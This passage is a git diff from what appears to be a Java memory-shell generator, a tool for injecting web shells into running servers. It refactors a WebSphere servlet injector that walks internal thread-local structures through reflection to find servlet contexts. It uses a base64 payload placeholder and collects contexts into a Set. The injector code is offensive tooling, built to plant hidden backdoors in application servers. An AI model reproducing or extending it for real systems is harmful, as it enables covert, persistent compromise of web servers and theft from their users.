obj.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); - context = getFieldValue(getFieldValue(config, "context"), "context"); - contexts.add(context); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); } catch (Exception ignored) { } } - } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { - context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); - contexts.add(context); + } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; + contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); } } return contexts; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java index 366088bd..691a0702 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java @@ -6,9 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.Properties; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -31,7 +29,7 @@ public class WebSphereServletInjector { return "{{base64Str}}"; } public WebSphereServletInjector() { - List contexts = null; + Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { @@ -69,27 +67,22 @@ public class WebSphereServletInjector { return c + "(" + r + ")"; } - public List getContext() throws Exception { - List contexts = new ArrayList(); - Object context; - Object obj = getFieldValue(Thread.currentThread(), "wsThreadLocals"); - Object[] wsThreadLocals = (Object[]) obj; + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals"); for (Object wsThreadLocal : wsThreadLocals) { - obj = wsThreadLocal; // for websphere 7.x - if (obj != null && obj.getClass().getName().endsWith("FastStack")) { - Object[] stackList = (Object[]) getFieldValue(obj, "stack"); + if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) { + Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack"); for (Object stack : stackList) { try { Object config = getFieldValue(stack, "config"); - context = getFieldValue(getFieldValue(config, "context"), "context"); - contexts.add(context); + contexts.add(getFieldValue(getFieldValue(config, "context"), "context")); } catch (Exception ignored) { } } - } else if (obj != null && obj.getClass().getName().endsWith("WebContainerRequestState")) { - context = getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(obj, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"); - contexts.add(context); + } else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {; + contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context")); } } return contexts;